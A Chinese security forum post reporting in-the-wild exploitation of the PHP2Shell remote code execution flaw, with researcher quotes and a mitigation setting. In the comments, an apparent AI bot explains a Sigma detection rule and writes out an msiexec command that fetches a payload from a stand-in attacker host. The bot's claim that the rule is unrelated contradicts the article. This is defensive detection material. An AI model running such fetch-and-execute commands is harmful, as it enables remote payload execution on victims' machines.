PHP2shell漏洞已被成功利用

2026-10-27 21:27:16 3 187

AI搜索厂商Perplexity检测与响应负责人Adel Karimi通过蜜罐捕获了相关恶意活动。记录显示，攻击者已成功在一套运行PHP 8.4.26的Apache mod_php环境中实现远程代码执行。 Karimi表示：“目前已有确凿证据证实攻击者实现了远程代码执行，并成功获取可用的内存泄露数据。这并不只是导致程序崩溃、随后出现可疑进程那么简单。攻击返回的数据中有一份解码后的Cookie转储文件，大小达800 KiB。根据公开漏洞利用代码中的偏移量，从这份数据中可以提取出一个函数地址。这个地址随后出现在攻击者执行的载荷中。” 他补充说：“这些证据证实，这一攻击链在单工作进程mod_php环境中确实可行。该环境被刻意设置为对攻击者有利。但这并不能说明，该漏洞利用方式在其他工作进程数量、不同PHP构建版本或不同应用环境中同样可靠。” Expel威胁研究员Marcus Hutchins也证实了Karimi的发现。此前，Hutchins一直在跟踪一系列有关PHP2Shell漏洞被成功利用的报告。

Hutchins表示：“这是迄今为止我所见到的、最有力的PHP2Shell在野利用证据。相关分析深入拆解了一次成功攻击的技术细节。这次攻击针对的是运行PHP 8.4.26的Apache mod_php环境。”

上周五，美国网络安全和基础设施安全局（CISA）发布了一条SIGMA规则，用于检测针对PHP2Shell远程代码执行漏洞的利用尝试。但该机构尚未将这两个漏洞列入已遭在野利用的漏洞名单。

PHP安全团队于10月21日修复了PHP2Shell漏洞。就在前一天，该团队提醒管理员提前做好准备，以便安全更新发布后立即安装。

在补丁正式发布前，PHP2Shell漏洞的相关信息已在网上泄露，包括CVE编号，以及提供给部分关键基础设施运营方的缓解措施建议。此外，一些概念验证（PoC）漏洞利用代码也已公开。不过，PHP安全团队表示，这些代码都无法真正奏效。

与此同时，Cloudflare、Hadrian、watchTowr、Previdian和Patchstack等多家网络安全公司在漏洞公开披露前就发现了相关利用尝试，但都认定这些攻击没有成功。

亚马逊威胁情报团队的安全研究人员也发现，攻击者早在安全补丁发布前四天就已开始针对PHP2Shell漏洞展开攻击。然而，据Dataminr旗下威胁研究与网络工程（TRACE）团队介绍，在Karimi公布相关发现之前，这些恶意活动“仅限于扫描、识别目标系统特征，以及使用无法奏效的漏洞利用代码，尚无已知系统遭到入侵”。

上周五，PHP安全团队还公布了另一个远程代码执行漏洞的缓解措施。该漏洞编号为CVE-2026-115560，目前尚无可用补丁，只有在目标系统的配置与应用程序代码存在“不寻常组合”时才能被利用。

在安全补丁发布之前，PHP开发团队建议管理员将session.upload_progress.enabled设置为0，以阻止潜在攻击。在PHP2Shell安全更新发布前，该团队也曾建议采取这一缓解措施。

PHP是一种广泛用于Web开发的编程语言。根据VirusTotal近期的估算，全球约70%的网站使用PHP。暴露在互联网上的PHP主机超过510万台，其中约380万台至少有一个端口开放，可能受到攻击。

类别 技术讨论

关于作者

Leonzane3篇文章8篇回复

多多指教

Leonzane
3

评论3次

要评论？请先  登录  或  注册
  • 3楼
    Leonzane
    Rank: 1
    2 小时前

    > @Canlang9510（#2）：这个洞实战黑盒真能打吗 有在野打的，估计有成功的了

  • 2楼
    Canlang9510
    Rank: 1
    3 小时前

    这个洞实战黑盒真能打吗

  • 1楼
    T00lsAI T00ls官方AI机器人
    Rank: 3Rank: 3
    昨天 21:28

    这条规则与 PHP2Shell 无直接关xi，它检测的是 Windows Installer 从远程 URL 安装 MSI 包的行为，属于 ATT&CK T1218.007 MSI（System Binary Proxy Execution）场景。

    检测思路

    攻击者可能使用：

    msiexec.exe /i https://attacker.example/payload.msi /qn

    让 Windows Installer 通过 HTTP/HTTPS 获取 MSI。MSI 中可以包含安装脚本或 Custom Action，因此在安装过程中执行附加代码。

    规则不分析 MSI 内容，而是在 Windows Application 日志中寻找一个粗粒度特征：

    MsiInstaller 产生安装相关事件，并且事件数据中出现 URI 形式的 ://。

    匹配条件

    规则核心等价于：

    logsource:  product: windows  service: applicationdetection:  selection:    EventID:      - 1040      - 1042    Provider_Name: MsiInstaller    Data|contains: '://'  condition: selection

    各字段含义如下：

    • service: application：只匹配 Windows Application 事件日志。
    • Provider_Name: MsiInstaller：要求事件由 Windows Installer/MsiInstaller 提供程序生成。
    • EventID: [1040, 1042]：
      • 1040 通常表示安装过程启动；
      • 1042 通常表示应用安装完成或安装结果被记录。 不同 Windows 版本的具体事件文案可能略有差异。
    • Data|contains: '://'：任意暴露为 Data 的事件数据字段包含字面量 ://。Sigma 中该修饰符通常不区分大小写。
    • condition: selection：上述条件是“与”关xi，单个事件满足全部条件即可告警，不要求同时出现 1040 和 1042。

    :// 并不限定具体协议，因此 http://、https://、ftp://、file:// 都可能命中；普通 UNC 路径 \\server\share\file.msi、映射盘符和已经落地到本地的 MSI 则不会命中。

    可能的误报来源

    规则自身没有定义明确白名单，主要误报可能包括：

    1. 合法软件从厂商 CDN 下载 MSI 浏览器下载后使用 URL，或软件更新器直接通过 HTTPS 调用 msiexec。

    2. 企业软件部署平台使用远程 MSI SCCM、Intune、自动化脚本或内部软件分发xi统可能直接在安装命令中保留 URL。

    3. MSI 元数据中出现 URL Data 字段可能包含发布地址、更新地址或产品主页；即使实际 MSI 已在本地，事件仍可能携带 ://。

    4. 安装、修复或升级流程记录远程来源 某些合法安装器会记录源 URL，即使最终通过缓存副本完成安装。

    5. 日志字段归一化造成误匹配 不同 SIEM 对 Windows EventData、Data 和完整消息字段的映射方式不同；某些后端可能将多个字段合并后匹配。

    常见漏报与判定边界

    该规则只能说明“Windows Installer 出现了带 URI 的安装事件”，不能单独证明：

    • MSI 一定来自互联网；
    • 包一定恶意；
    • 自定义动作已经成功执行；
    • 主机已经失陷。

    它也会漏掉通过 UNC、映射盘符、本地暂存文件或已被下载的 MSI 发起的安装。实际确认时应从命中事件中提取完整 Data 和时间戳，并关联同一时间窗口内的 msiexec.exe 进程创建记录、Sysmon Event ID 1/Windows 4688、下载文件路径、父进程、DNS/代理记录以及安装后产生的子进程。规则级别为 medium，适合作为远程 MSI 执行的初筛线索。